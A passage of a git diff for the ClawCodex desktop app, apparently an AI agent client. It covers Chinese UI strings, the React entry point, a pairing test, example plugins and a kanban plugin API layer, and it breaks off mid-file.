+        count === 1 ? '后台任务完成后将自动继续' : `${count} 个后台任务完成后将自动继续`,
+      thinking: '思考中',
+      thought: '已思考',
+      thoughtBriefly: '思考了片刻',
+      thoughtFor: duration => `思考了 ${duration}`,
+      today: time => `今天，${time}`,
+      yesterday: time => `昨天，${time}`,
+      copy: '复制',
+      refresh: '刷新',
+      moreActions: '更多操作',
+      branchNewChat: '在新对话中分支',
+      react: '回应',
+      dismissError: '关闭错误',
+      filesChanged: count => `${count} 个文件已更改`,
+      reviewChanges: '查看',
+      readAloudFailed: '朗读失败',
+      preparingAudio: '正在准备音频...',
+      stopReading: '停止朗读',
+      readAloud: '朗读',
+      editMessage: '编辑消息',
+      expandMessage: '展开消息',
+      scrollToBottom: '滚动到底部',
+      stop: '停止',
+      restorePrevious: '恢复上一个检查点',
+      restoreCheckpoint: '恢复检查点',
+      restoreFromHere: '恢复检查点 — 从此提示重新运行',
+      restoreTitle: '恢复到此检查点？',
+      restoreBody: '此提示之后的所有消息将从对话中移除，并从此处重新运行该提示。',
+      restoreConfirm: '恢复并重新运行',
+      restoreNext: '恢复下一个检查点',
+      goForward: '前进',
+      sendEdited: '发送编辑后的消息',
+      attachingFile: '正在附加…'
+    },
+    approval: {
+      gatewayDisconnected: 'ClawCodex 网关未连接',
+      sendFailed: '无法发送审批响应',
+      run: '运行',
+      command: '命令',
+      moreOptions: '更多审批选项',
+      allowSession: '允许本会话',
+      alwaysAllowMenu: '始终允许…',
+      jumpToApproval: '需要审批',
+      reject: '拒绝',
+      alwaysTitle: '始终允许此命令？',
+      alwaysDescription: pattern =>
+        `这会将“${pattern}”模式加入永久允许列表 (~/.clawcodex/config.yaml)。ClawCodex 对类似命令将不再询问，包括当前会话和未来会话。`,
+      alwaysAllow: '始终允许'
+    },
+    clarify: {
+      notReady: '澄清请求尚未就绪',
+      gatewayDisconnected: 'ClawCodex 网关未连接',
+      sendFailed: '无法发送澄清响应',
+      loadingQuestion: '正在加载问题…',
+      other: '其他 (输入你的答案)',
+      placeholder: '输入你的答案…',
+      skip: '跳过',
+      skipped: '已跳过',
+      continueLabel: '继续',
+      lateAnswer: (question, choice) => `关于"${question}" — 我的回答: ${choice}`,
+      lateAnswerTip: '将此回答起草为后续消息',
+      lateAnswerHint: '此问题已不再等待回答。选择一个选项会将其起草为后续消息。'
+    },
+    tool: {
+      copyCode: '复制代码',
+      renderingImage: '正在渲染图片',
+      copyOutput: '复制输出',
+      copyCommand: '复制命令',
+      copyContent: '复制内容',
+      copyUrl: '复制 URL',
+      copyResults: '复制结果',
+      copyQuery: '复制查询',
+      copyFile: '复制文件',
+      copyPath: '复制路径',
+      outputAlt: '工具输出',
+      rawResponse: '原始响应',
+      copyActivity: '复制活动',
+      recoveredOne: '在 1 个失败步骤后已恢复',
+      recoveredMany: count => `在 ${count} 个失败步骤后已恢复`,
+      failedOne: '1 个步骤失败',
+      failedMany: count => `${count} 个步骤失败`,
+      statusRunning: '运行中',
+      statusError: '错误',
+      statusRecovered: '已恢复',
+      statusDone: '完成',
+      memoryWriteNoted: '已记下记忆写入',
+      actions: {
+        read: '已读取',
+        reading: '正在读取',
+        opened: '已打开',
+        opening: '正在打开',
+        failedToOpen: '打开失败',
+        searched: '已搜索',
+        searching: '正在搜索',
+        ran: '已运行',
+        running: '正在运行',
+        ranCode: '已运行代码',
+        runningCode: '正在编写脚本'
+      },
+      prefixes: {
+        browser: '浏览器',
+        web: '网页'
+      },
+      titleTemplates: {
+        actionCommand: (action, command) => `${action} ${command}`,
+        actionQuoted: (action, value) => `${action}“${value}”`,
+        actionTarget: (action, target) => `${action} ${target}`,
+        prefixedDone: (prefix, action) => `${prefix}${action}`,
+        runningPrefixedTool: (prefix, action) => `正在运行${prefix}${action}`,
+        runningTool: action => `正在运行 ${action}`
+      },
+      titles: {
+        browser_click: { done: '已点击页面元素', pending: '正在点击页面元素', pendingAction: '正在点击' },
+        browser_fill: { done: '已填写表单字段', pending: '正在填写表单字段', pendingAction: '正在填写' },
+        browser_navigate: { done: '已打开页面', pending: '正在打开页面', pendingAction: '正在打开' },
+        browser_snapshot: { done: '已捕获页面快照', pending: '正在捕获页面快照', pendingAction: '正在捕获' },
+        browser_take_screenshot: { done: '已捕获截图', pending: '正在捕获截图', pendingAction: '正在捕获' },
+        browser_type: { done: '已在页面输入', pending: '正在页面输入', pendingAction: '正在输入' },
+        clarify: { done: '已提问', pending: '正在提问', pendingAction: '正在提问' },
+        cronjob: { done: 'Cron 任务', pending: '正在安排 Cron 任务', pendingAction: '正在安排' },
+        edit_file: { done: '已编辑文件', pending: '正在编辑文件', pendingAction: '正在编辑' },
+        execute_code: { done: '已运行代码', pending: '正在编写脚本', pendingAction: '正在编写脚本' },
+        image_generate: { done: '已生成图片', pending: '正在生成图片', pendingAction: '正在生成' },
+        list_files: { done: '已列出文件', pending: '正在列出文件', pendingAction: '正在列出' },
+        memory: { done: '已保存到记忆', pending: '正在保存到记忆', pendingAction: '正在保存' },
+        patch: { done: '已修补文件', pending: '正在修补文件', pendingAction: '正在修补' },
+        read_file: { done: '已读取文件', pending: '正在读取文件', pendingAction: '正在读取' },
+        search_files: { done: '已搜索文件', pending: '正在搜索文件', pendingAction: '正在搜索' },
+        session_search_recall: { done: '已搜索会话历史', pending: '正在搜索会话历史', pendingAction: '正在搜索' },
+        terminal: { done: '已运行命令', pending: '正在运行命令', pendingAction: '正在运行' },
+        todo: { done: '已更新待办', pending: '正在更新待办', pendingAction: '正在更新' },
+        vision_analyze: { done: '已分析图片', pending: '正在分析图片', pendingAction: '正在分析' },
+        web_extract: { done: '已读取网页', pending: '正在读取网页', pendingAction: '正在读取' },
+        web_search: { done: '已搜索网页', pending: '正在搜索网页', pendingAction: '正在搜索' },
+        write_file: { done: '已编辑文件', pending: '正在编辑文件', pendingAction: '正在编辑' }
+      }
+    }
+  },
+
+  prompts: {
+    gatewayDisconnected: 'ClawCodex 网关未连接',
+    sudoSendFailed: '无法发送 sudo 密码',
+    secretSendFailed: '无法发送密钥',
+    sudoTitle: '管理员密码',
+    sudoDesc: 'ClawCodex 需要你的 sudo 密码来运行特权命令。它只会发送给你的本地 agent。',
+    sudoPlaceholder: 'sudo 密码',
+    secretTitle: '需要密钥',
+    secretDesc: 'ClawCodex 需要一个凭据才能继续。',
+    secretPlaceholder: '密钥值'
+  },
+
+  desktop: {
+    audioReadFailed: '无法读取录制的音频',
+    sessionUnavailable: '会话不可用',
+    createSessionFailed: '无法创建新会话',
+    promptFailed: '提示词发送失败',
+    providerCredentialRequired: '发送第一条消息前请先添加提供方凭据。',
+    emptySlashCommand: '空 slash 命令',
+    desktopCommands: '桌面端命令',
+    skillCommandsAvailable: count => `${count} 个技能命令可用。`,
+    warningLine: message => `警告：${message}`,
+    yoloArmed: '此对话已启用 YOLO',
+    yoloOff: 'YOLO 已关闭',
+    yoloSystem: active => `此会话 YOLO ${active ? '已开启' : '已关闭'}`,
+    yoloTitle: 'YOLO',
+    yoloToggleFailed: '无法切换 YOLO',
+    profileStatus: current => `配置档案：${current}。使用 /profile <name> 或“新建会话”选择器在其他配置档案中开始对话。`,
+    unknownProfile: '未知配置档案',
+    noProfileNamed: (target, available) => `没有名为“${target}”的配置档案。可用：${available}`,
+    newChatsProfile: name => `新对话将使用配置档案 ${name}。`,
+    setProfileFailed: '设置配置档案失败',
+    sttDisabled: '设置中已禁用语音转文字。',
+    stopFailed: '停止失败',
+    regenerateFailed: '重新生成失败',
+    editFailed: '编辑失败',
+    resumeFailed: '恢复失败',
+    resumeStrandedTitle: '无法加载此会话',
+    resumeStrandedBody: '与此会话的连接失败，自动重试已停止。请确认网关正在运行，然后重试。',
+    resumeRetry: '重试',
+    nothingToBranch: '没有可分支的内容',
+    branchNeedsChat: '分支前请先开始或恢复一个对话。',
+    sessionBusy: '会话忙碌中',
+    branchStopCurrent: '分支此对话前请先停止当前回合。',
+    branchNoText: '此消息没有可用于分支的文本。',
+    branchTitle: n => `草稿：分支 #${n}`,
+    branchFailed: '分支失败',
+    deleteFailed: '删除失败',
+    archived: '已归档',
+    archiveFailed: '归档失败',
+    cwdChangeFailed: '工作目录更改失败',
+    cwdStagedTitle: '工作目录已暂存',
+    cwdStagedMessage: '重启桌面后端后，工作目录更改才会应用到当前活跃会话。',
+    modelSwitchFailed: '模型切换失败',
+    sessionExported: '会话已导出',
+    sessionExportFailed: '无法导出会话',
+    imageSaved: '图片已保存',
+    downloadStarted: '下载已开始',
+    restartToUseSaveImage: '重启 ClawCodex 桌面版后可使用保存图片。',
+    restartToSaveImages: '重启 ClawCodex 桌面版以保存图片',
+    imageDownloadFailed: '图片下载失败',
+    openImage: '打开图片',
+    downloadImage: '下载图片',
+    savingImage: '正在保存图片',
+    imagePreviewFailed: '图片预览失败',
+    imageAttach: '附加图片',
+    imageWriteFailed: '无法将图片写入磁盘。',
+    imageAttachFailed: '附加图片失败',
+    attachImages: '附加图片',
+    clipboard: '剪贴板',
+    noClipboardImage: '剪贴板中没有图片',
+    clipboardPasteFailed: '粘贴剪贴板失败',
+    dropFiles: '拖放文件',
+    handoff: {
+      pickPlatform: '选择目标平台',
+      success: platform => `已移交到 ${platform}。随时可在此处恢复。`,
+      systemNote: platform => `↻ 已移交到 ${platform} — 随时可在此处恢复。`,
+      failed: error => `移交失败：${error}`,
+      timedOut: '等待网关超时。`clawcodex gateway` 是否正在运行？'
+    }
+  },
+
+  errors: {
+    genericFailure: '发生错误',
+    boundaryTitle: '界面出错了',
+    boundaryDesc: '此视图遇到意外错误。你的对话和设置是安全的。',
+    reloadWindow: '重新加载窗口',
+    openLogs: '打开日志'
+  },
+
+  ui: {
+    search: {
+      clear: '清除搜索'
+    },
+    pagination: {
+      label: '分页',
+      previous: '上一页',
+      previousAria: '前往上一页',
+      next: '下一页',
+      nextAria: '前往下一页'
+    },
+    sidebar: {
+      title: '侧边栏',
+      description: '显示移动端侧边栏。',
+      toggle: open => `${open ? '显示' : '隐藏'}侧边栏`
+    }
+  }
+}
diff --git a/ui-desktop/src/main.tsx b/ui-desktop/src/main.tsx
new file mode 100644
index 000000000..7356ca59d
--- /dev/null
+++ b/ui-desktop/src/main.tsx
@@ -0,0 +1,82 @@
+import './styles.css'
+// Side-effect: reports in-flight turns to the main process for the quit guard.
+import './store/active-work'
+// Side-effect: mirrors the machine's AC/battery state for poll demotion.
+import './store/power'
+// Side-effect: applies the persisted window translucency on load.
+import './store/translucency'
+// Dev-only render/state churn counters. MUST precede the `react-dom` import
+// below: react-dom captures the devtools hook at module init, so bippy has to
+// install during THIS import's evaluation or every commit goes unseen
+// (verified — a late install reports renderers=0, commits=0). `vite.config.ts`
+// aliases this specifier to a no-op module for non-dev builds, so neither the
+// counters nor bippy reach a shipped renderer.
+import '@/debug/dev-only'
+
+import { QueryClientProvider } from '@tanstack/react-query'
+import { StrictMode } from 'react'
+import { createRoot } from 'react-dom/client'
+import { HashRouter } from 'react-router'
+
+import App from './app'
+import { RootErrorBoundary } from './components/error-boundary'
+import { HapticsProvider } from './components/haptics-provider'
+import { RootTooltipProvider } from './components/ui/tooltip'
+import { I18nProvider } from './i18n'
+import { installClipboardShim } from './lib/clipboard'
+import { queryClient } from './lib/query-client'
+import { ThemeProvider } from './themes/context'
+
+installClipboardShim()
+
+// The perf probe ships in dev, and in a production build ONLY when explicitly
+// opted in (VITE_PERF_PROBE=1) — this lets the perf harness measure a real,
+// minified production renderer for representative absolute numbers. Normal
+// `npm run build` leaves the flag unset, so the probe never reaches users.
+if (import.meta.env.MODE !== 'production' || import.meta.env.VITE_PERF_PROBE === '1') {
+  import('./app/chat/perf-probe')
+}
+
+const winParam = new URLSearchParams(window.location.search).get('win')
+
+if (winParam === 'overlay') {
+  void import('./app/pet-overlay/overlay-root').then(({ mountPetOverlay }) => mountPetOverlay())
+} else if (winParam === 'quick') {
+  void import('./app/quick-entry/quick-entry-root').then(({ mountQuickEntry }) => mountQuickEntry())
+} else if (winParam === 'wake') {
+  void import('./app/wake-indicator/wake-indicator-root').then(({ mountWakeIndicator }) => mountWakeIndicator())
+} else {
+  createRoot(document.getElementById('root')!).render(
+    <StrictMode>
+      <RootErrorBoundary>
+        <QueryClientProvider client={queryClient}>
+          <I18nProvider>
+            <ThemeProvider>
+              <HapticsProvider>
+                {/* ONE tooltip provider for the whole app. Every `Tip` used to
+                    carry its own, and with ~107 call sites those subtrees
+                    dominated unrelated interactions (52,784 TooltipProvider
+                    renders in a single sash drag). Radix's provider holds only
+                    refs and stable callbacks, so hoisting is what it's for. */}
+                <RootTooltipProvider>
+                  {/* useTransitions={false}: react-router v7's HashRouter wraps every
+                    route state update in React.startTransition() by default. In
+                    React 19's concurrent renderer, transitions are non-urgent — React
+                    can yield mid-render and resume later. When the app is under load
+                    (streaming token deltas, gateway events, store updates), those
+                    higher-priority updates keep interrupting the transition, starving
+                    the route change commit. The session sidebar highlight + main pane
+                    both freeze for seconds despite the main thread being free.
+                    Disabling transitions makes navigate() commit at default priority. */}
+                  <HashRouter useTransitions={false}>
+                    <App />
+                  </HashRouter>
+                </RootTooltipProvider>
+              </HapticsProvider>
+            </ThemeProvider>
+          </I18nProvider>
+        </QueryClientProvider>
+      </RootErrorBoundary>
+    </StrictMode>
+  )
+}
diff --git a/ui-desktop/src/pairing-scope.test.ts b/ui-desktop/src/pairing-scope.test.ts
new file mode 100644
index 000000000..a455d3e8a
--- /dev/null
+++ b/ui-desktop/src/pairing-scope.test.ts
@@ -0,0 +1,43 @@
+// Pairing writes must target the profile the user is actually looking at.
+// The approve/revoke endpoints read `profile` off the BODY (a POST body is
+// not touched by query-param scoping), so a request that only carried
+// `profileScoped()` at the top level would approve into the default
+// profile's whitelist while the operator was managing another one — a grant
+// the running gateway for that profile never consults.
+import { beforeEach, describe, expect, it, vi } from 'vitest'
+
+const api = vi.fn().mockResolvedValue({ ok: true })
+
+vi.stubGlobal('window', { clawcodexDesktop: { api } })
+
+describe('pairing requests carry the active profile', () => {
+  beforeEach(() => api.mockClear())
+
+  it('scopes approve and revoke by body, and the listing by query', async () => {
+    const mod = await import('@/clawcodex')
+    mod.setApiRequestProfile('work')
+
+    await mod.approvePairing('telegram', 'a'.repeat(16))
+    await mod.revokePairing('telegram', 'U1')
+    await mod.getPairing()
+
+    const [approve, revoke, list] = api.mock.calls.map(call => call[0])
+
+    expect(approve.body.profile).toBe('work')
+    expect(revoke.body.profile).toBe('work')
+    expect(list.profile).toBe('work')
+  })
+
+  it('omits the profile entirely for single-profile users', async () => {
+    const mod = await import('@/clawcodex')
+    mod.setApiRequestProfile(null)
+
+    await mod.approvePairing('telegram', 'a'.repeat(16))
+    await mod.getPairing()
+
+    const [approve, list] = api.mock.calls.map(call => call[0])
+
+    expect(approve.body.profile).toBeUndefined()
+    expect(list.profile).toBeUndefined()
+  })
+})
diff --git a/ui-desktop/src/plugins/README.md b/ui-desktop/src/plugins/README.md
new file mode 100644
index 000000000..5f10f05f8
--- /dev/null
+++ b/ui-desktop/src/plugins/README.md
@@ -0,0 +1,16 @@
+# Bundled plugins
+
+Drop a `<name>/plugin.{ts,tsx}` here that default-exports a `ClawCodexPlugin` and
+it registers automatically at boot (vite glob in `../contrib/plugins.ts`), with
+the same inventory + live enable/disable contract as runtime plugins.
+
+Keep this tree for real shipped plugins (and the small authoring fixtures that
+dogfood the SDK). One-off demos that rebuild a core chrome piece 1:1 do not
+belong here — they double the UI and confuse Settings ▸ Plugins. Publish those
+in the companion
+[`clawcodex-example-plugins`](https://github.com/NousResearch/clawcodex-example-plugins)
+repo instead.
+
+User- and agent-authored plugins load at runtime from
+`$CLAWCODEX_CONFIG_DIR/desktop-plugins/<name>/plugin.js` (the disk door) — see the
+`clawcodex-desktop-plugins` skill.
diff --git a/ui-desktop/src/plugins/example/plugin.tsx b/ui-desktop/src/plugins/example/plugin.tsx
new file mode 100644
index 000000000..3581f17c8
--- /dev/null
+++ b/ui-desktop/src/plugins/example/plugin.tsx
@@ -0,0 +1,125 @@
+/**
+ * Example plugin — the authoring + publishing reference. A folder under
+ * `src/plugins/` with a `plugin.tsx` that default-exports a `ClawCodexPlugin` is
+ * all it takes; `discoverBundledPlugins()` finds and registers it (no import,
+ * no registry edit). Delete this folder and everything below is gone.
+ *
+ * The ONLY import surface is `@clawcodex/plugin-sdk` (lint-enforced) — the
+ * vscode-module model. This one plugin dogfoods the whole authoring kit:
+ *  - `render()` contribution — full stateful React in a statusbar slot;
+ *  - `ctx.storage` — the count survives reloads (namespaced persistence);
+ *  - `host.onEvent('*')` — live gateway stream, counted in the tooltip;
+ *  - PALETTE + KEYBINDS contracts — "Example: Reset click counter" in ⌘K
+ *    and as a rebindable (default-unbound) action in the keybind panel;
+ *  - plugin-local `atom` + `useValue` — module state, leaf subscription;
+ *  - `haptic` / `host.notify` / `Tip` / `cn` — the design language.
+ *
+ * Ships OFF by default (`defaultEnabled: false`): it inventories in
+ * Settings ▸ Plugins and registers nothing until the user flips the switch.
+ */
+
+import {
+  atom,
+  type ClawCodexPlugin,
+  cn,
+  haptic,
+  host,
+  type KeybindContribution,
+  KEYBINDS_AREA,
+  PALETTE_AREA,
+  type PaletteContribution,
+  STATUSBAR_AREAS,
+  Tip,
+  useValue
+} from '@clawcodex/plugin-sdk'
+
+const $clicks = atom(0)
+const $events = atom(0)
+
+function ClickCounter() {
+  const count = useValue($clicks)
+  const events = useValue($events)
+  const gateway = useValue(host.state.gateway)
+
+  return (
+    <Tip label={`Example plugin — gateway ${gateway}, ${events} events heard`}>
+      <button
+        className={cn(
+          'inline-flex h-full items-center gap-1 rounded-none px-1.5 text-[0.6875rem] tabular-nums transition-colors',
+          'text-(--ui-text-tertiary) hover:bg-(--chrome-action-hover) hover:text-foreground',
+          count > 0 && 'text-foreground'
+        )}
+        onClick={() => {
+          haptic('tap')
+          // Imperative read in the handler ($atom.get()), reactive read in the
+          // render (useValue) — never a stale closure.
+          const next = $clicks.get() + 1
+          $clicks.set(next)
+
+          if (next % 10 === 0) {
+            host.notify({ kind: 'success', message: `Example plugin: ${next} clicks!` })
+          }
+        }}
+        type="button"
+      >
+        <span aria-hidden>◉</span>
+        <span>{count === 0 ? 'click me' : `clicked ${count}×`}</span>
+      </button>
+    </Tip>
+  )
+}
+
+const plugin: ClawCodexPlugin = {
+  id: 'example',
+  name: 'Example Plugin',
+  defaultEnabled: false,
+  register(ctx) {
+    // Persisted count: hydrate once, write through on every change.
+    $clicks.set(ctx.storage.get('clicks', 0))
+    $clicks.listen(clicks => ctx.storage.set('clicks', clicks))
+
+    // Hear the live gateway stream (deltas, lifecycle, tools — everything).
+    host.onEvent('*', () => $events.set($events.get() + 1))
+
+    const reset = () => {
+      $clicks.set(0)
+      host.notify({ kind: 'info', message: 'Example plugin: counter reset' })
+    }
+
+    // Provenance (source: 'plugin:example') and the namespaced registry ids
+    // (example:counter, …) are stamped by ctx — authors write plain
+    // contributions. The shared `example.reset` ACTION id links the palette
+    // row's hotkey hint to the keybind panel's live binding.
+    ctx.registerMany([
+      {
+        id: 'counter',
+        area: STATUSBAR_AREAS.right,
+        order: 100,
+        render: () => <ClickCounter />
+      },
+      {
+        id: 'reset',
+        area: PALETTE_AREA,
+        data: {
+          id: 'example.reset',
+          action: 'example.reset',
+          label: 'Example: Reset click counter',
+          keywords: ['example', 'plugin', 'counter'],
+          run: reset
+        } satisfies PaletteContribution
+      },
+      {
+        id: 'reset',
+        area: KEYBINDS_AREA,
+        data: {
+          id: 'example.reset',
+          label: 'Example: Reset click counter',
+          defaults: [],
+          run: reset
+        } satisfies KeybindContribution
+      }
+    ])
+  }
+}
+
+export default plugin
diff --git a/ui-desktop/src/plugins/hello-runtime/plugin.runtime.js b/ui-desktop/src/plugins/hello-runtime/plugin.runtime.js
new file mode 100644
index 000000000..a891481e1
--- /dev/null
+++ b/ui-desktop/src/plugins/hello-runtime/plugin.runtime.js
@@ -0,0 +1,38 @@
+/**
+ * Runtime-loaded example — this file is NOT bundled as a module: it ships as
+ * raw text (`?raw`) and goes through the real runtime pipeline (specifier
+ * rewrite -> SDK/react shim blobs -> blob import -> register). Plain ESM js
+ * with `jsx()` calls — exactly what an agent (or a compiler) writes into
+ * `~/.clawcodex/desktop-plugins/<name>/plugin.js`.
+ */
+
+import { cn, host, Tip, useValue } from '@clawcodex/plugin-sdk'
+import { jsx, jsxs } from 'react/jsx-runtime'
+
+function RuntimeChip() {
+  const gateway = useValue(host.state.gateway)
+
+  return jsx(Tip, {
+    label: `Loaded at RUNTIME through blob import + SDK injection (gateway: ${gateway})`,
+    children: jsxs('span', {
+      className: cn(
+        'inline-flex h-full items-center gap-1 px-1.5 text-[0.6875rem]',
+        'text-(--ui-text-tertiary)'
+      ),
+      children: [jsx('span', { 'aria-hidden': true, children: '⚡' }), jsx('span', { children: 'runtime' })]
+    })
+  })
+}
+
+export default {
+  id: 'hello-runtime',
+  name: 'Hello Runtime',
+  register(ctx) {
+    ctx.register({
+      id: 'chip',
+      area: 'statusBar.right',
+      order: 110,
+      render: () => jsx(RuntimeChip, {})
+    })
+  }
+}
diff --git a/ui-desktop/src/plugins/kanban/api.ts b/ui-desktop/src/plugins/kanban/api.ts
new file mode 100644
index 000000000..eddfa604c
--- /dev/null
+++ b/ui-desktop/src/plugins/kanban/api.ts
@@ -0,0 +1,253 @@
+/**
+ * Kanban data layer. Everything goes through `ctx.rest` — the plugin's own
+ * `/api/plugins/kanban/*` FastAPI router (`plugins/kanban/dashboard/plugin_api.py`),
+ * reused as-is via the desktop's namespace-scoped REST door. No new backend.
+ *
+ * Fetching, caching, polling, dedupe, and invalidation are React Query's job
+ * (the app's standard, via the SDK). This module owns the query keys, the REST
+ * calls, and the selected-board atom — every call passes `?board=<slug>` so the
+ * desktop's selection never flips the server-wide current-board pointer.
+ */
+
+import { atom, type PluginRestOptions, type PluginStorage, queryClient } from '@clawcodex/plugin-sdk'
+
+import type {
+  BoardMeta,
+  BoardsResponse,
+  KanbanBoard,
+  KanbanProfile,
+  KanbanProject,
+  KanbanTask,
+  KanbanTaskDetail,
+  OrchestrationSettings,
+  TaskEstimate,
+  WorkerLog
+} from './types'
+
+type Rest = <T>(path: string, opts?: PluginRestOptions) => Promise<T>
+type Socket = (path: string, onMessage: (data: unknown) => void) => () => void
+
+let rest: null | Rest = null
+
+/** Selected board slug ('' = the server's current board). Persisted. */
+export const $boardSlug = atom<string>('')
+
+/** Whether the "how this board works" intro was dismissed. Persisted. */
+export const $introDismissed = atom<boolean>(false)
+
+/** Sub-group the Running lane by assignee (the dashboard's "lanes by
+ *  profile"). Persisted. */
+export const $lanesByProfile = atom<boolean>(false)
+
+/** Per-lane collapse OVERRIDES (true=collapsed, false=expanded). Absence means
+ *  auto: empty lanes collapse to a rail, occupied lanes expand. Persisted. */
+export const $collapsedLanes = atom<Record<string, boolean>>({})
+
+const BOARD_SLUG_KEY = 'boardSlug'
+const INTRO_KEY = 'introDismissed'
+const LANES_KEY = 'lanesByProfile'
+const COLLAPSED_KEY = 'collapsedLanes'
+
+/** One live `task_events` frame → precise cache invalidation: the board, plus
+ *  each touched task's detail. The polls (8s board / 4s drawer) stay as the
+ *  fallback — the socket just makes the board feel instant. */
+function onEventsFrame(slug: string, data: unknown): void {
+  const events = (data as { events?: Array<{ task_id?: string }> })?.events
+
+  if (!events?.length) {
+    return
+  }
+
+  void queryClient.invalidateQueries({ queryKey: ['kanban', 'board'] })
+  // Any event can change a board's card count — keep the switcher badge honest.
+  void queryClient.invalidateQueries({ queryKey: BOARDS_KEY })
+
+  for (const taskId of new Set(events.map(event => event.task_id).filter(Boolean))) {
+    void queryClient.invalidateQueries({ queryKey: taskKey(slug, taskId!) })
+  }
+}
+
+// A persisted, subscribable atom (the structural slice we need — avoids
+// importing nanostore's type just to describe one).
+interface Persisted<T> {
+  get(): T
+  set(value: T): void
+  listen(cb: (value: T) => void): () => void
+}
+
+/** Bind the plugin's doors at register time and return a disposer the host
+ *  runs on unload/disable — so nothing (store sync, socket) survives a toggle
+ *  or duplicates on re-enable. The events socket is pinned to a board at
+ *  handshake, so a board switch closes + reopens it. */
+export function bindApi(r: Rest, storage: PluginStorage, socket: Socket): () => void {
+  rest = r
+  const unsubs: Array<() => void> = []
+
+  // Hydrate an atom from storage and keep storage in sync with it.
+  const persist = <T>(atom: Persisted<T>, key: string, fallback: T) => {
+    atom.set(storage.get(key, fallback))
+    unsubs.push(atom.listen(value => storage.set(key, value)))
+  }
+
+  persist($boardSlug, BOARD_SLUG_KEY, '')
+  persist($introDismissed, INTRO_KEY, false)
+  persist($lanesByProfile, LANES_KEY, false)
+  persist($collapsedLanes, COLLAPSED_KEY, {})
+
+  let close: (() => void) | null = null
+
+  const open = (slug: string) => {
+    close?.()
+    close = socket(slug ? `/events?board=${encodeURIComponent(slug)}` : '/events', data => onEventsFrame(slug, data))
+  }
+
+  open($boardSlug.get())
+  unsubs.push($boardSlug.listen(open))
+
+  return () => {
+    unsubs.forEach(unsub => unsub())
+    close?.()
+    rest = null
+  }
+}
+
+function call<T>(path: string, opts?: PluginRestOptions): Promise<T> {
+  return rest ? rest<T>(path, opts) : Promise.reject(new Error('kanban api not ready'))
+}
+
+/** Append the selected board (and other params) to a path. */
+function withBoard(path: string, params: Record<string, string> = {}): string {
+  const search = new URLSearchParams(params)
+  const slug = $boardSlug.get()
+
+  if (slug) {
+    search.set('board', slug)
+  }
+
+  const qs = search.toString()
+
+  return qs ? `${path}?${qs}` : path
+}
+
+// ── query keys (all board-scoped so switching boards is a clean cache miss) ──
+
+export const boardKey = (slug: string, archived: boolean) => ['kanban', 'board', slug, archived] as const
+export const taskKey = (slug: string, id: string) => ['kanban', 'task', slug, id] as const
+export const logKey = (slug: string, id: string) => ['kanban', 'log', slug, id] as const
+export const BOARDS_KEY = ['kanban', 'boards'] as const
+export const PROFILES_KEY = ['kanban', 'profiles'] as const
+export const PROJECTS_KEY = ['kanban', 'projects'] as const
+export const ORCHESTRATION_KEY = ['kanban', 'orchestration'] as const
+
+// ── reads ─────────────────────────────────────────────────────────────────────
+
+export const fetchBoard = (archived: boolean) =>
+  call<KanbanBoard>(withBoard('/board', archived ? { include_archived: 'true' } : {}))
+
+export const fetchTask = (id: string) => call<KanbanTaskDetail>(withBoard(`/tasks/${id}`))
+
+/** Worker stdout/stderr tail (last 16 KiB — plenty for the drawer). */
+export const fetchLog = (id: string) => call<WorkerLog>(withBoard(`/tasks/${id}/log`, { tail: '16384' }))
+
+export const fetchBoards = () => call<BoardsResponse>('/boards')
+
+export const fetchProfiles = () => call<{ profiles: KanbanProfile[] }>('/profiles')
+
+/** First-class ClawCodex projects, for scoping a board's default workspace. */
+export const fetchProjects = () => call<{ projects: KanbanProject[] }>('/projects')
+
+export const fetchOrchestration = () => call<OrchestrationSettings>('/orchestration')
+
+// ── writes ────────────────────────────────────────────────────────────────────
+
+// Every board edit nudges the dispatcher (debounced, fire-and-forget) so the
+// change takes effect NOW instead of on the next 60s tick — create a ready
+// task and the worker spawns immediately, no manual "nudge" ritual. The tick
+// is lock-guarded and ~1ms when there's nothing to do, so over-nudging is
+// free; failures are non-events (the periodic tick still exists).
+let nudgeTimer: null | ReturnType<typeof setTimeout> = null
+
+function autoNudge(): void {
+  if (nudgeTimer != null) {
+    clearTimeout(nudgeTimer)
+  }
+
+  nudgeTimer = setTimeout(() => {
+    nudgeTimer = null
+    nudgeDispatcher().catch(() => undefined)
+  }, 400)
+}
+
+/** Resolve the write, then kick the dispatcher. Rejections pass through. */
+function nudged<T>(write: Promise<T>): Promise<T> {
+  return write.then(value => {
+    autoNudge()
+
+    return value
+  })
+}
+
+export const patchTask = (id: string, patch: Record<string, unknown>) =>
+  nudged(call(withBoard(`/tasks/${id}`), { method: 'PATCH', body: patch }))
+
+export const createTask = (body: Record<string, unknown>) =>
+  nudged(call<{ task: KanbanTask | null; warning?: string }>(withBoard('/tasks'), { method: 'POST', body }))
+
+// Deleting can unblock dependants (a gone parent no longer gates), so it
+// nudges too.
+export const deleteTask = (id: string) => nudged(call(withBoard(`/tasks/${id}`), { method: 'DELETE' }))
+
+/** One patch, many ids — independent per-id application; returns per-id
+ *  outcomes so the UI can toast partial failures. */
+export const bulkTasks = (ids: string[], patch: Record<string, unknown>) =>
+  nudged(
+    call<{ results: Array<{ id: string; ok: boolean; error?: string }> }>(withBoard('/tasks/bulk'), {
+      method: 'POST',
+      body: { ids, ...patch }
+    })
+  )
+
+export const addComment = (id: string, body: string) =>
+  call(withBoard(`/tasks/${id}/comments`), { method: 'POST', body: { author: 'desktop', body } })
+
+export const reassignTask = (id: string, profile: string) =>
+  nudged(call(withBoard(`/tasks/${id}/reassign`), { method: 'POST', body: { profile, reclaim_first: true } }))
+
+export const reclaimTask = (id: string) => nudged(call(withBoard(`/tasks/${id}/reclaim`), { method: 'POST', body: {} }))
+
+export const uploadAttachment = (id: string, upload: { filename: string; contentType?: string; bytes: ArrayBuffer }) =>
+  call(withBoard(`/tasks/${id}/attachments`), { method: 'POST', upload })
+
+export const createBoard = (slug: string, name: string, projectId?: string) =>
+  call<{ board: { slug: string } }>('/boards', {
+    method: 'POST',
+    body: { slug, name, ...(projectId ? { project_id: projectId } : {}) }
+  })
+
+/** Rough auxiliary-model estimate for a task (tokens + complexity). Makes a
+ *  model call — gate behind an explicit user action + disclaimer. */
+export const estimateTask = (id: string) =>
+  call<TaskEstimate>(withBoard(`/tasks/${id}/estimate`), { method: 'POST', body: {} })
+
+/** Estimate from typed title/body before a task exists (create dialog). */
+export const estimateNew = (title: string, body: string) =>
+  call<TaskEstimate>('/estimate', { method: 'POST', body: { title, body: body || undefined } })
+
+/** Edit a board's display metadata + default project directory. Pass
+ *  `default_workdir: ''` to clear it. Slug is immutable. */
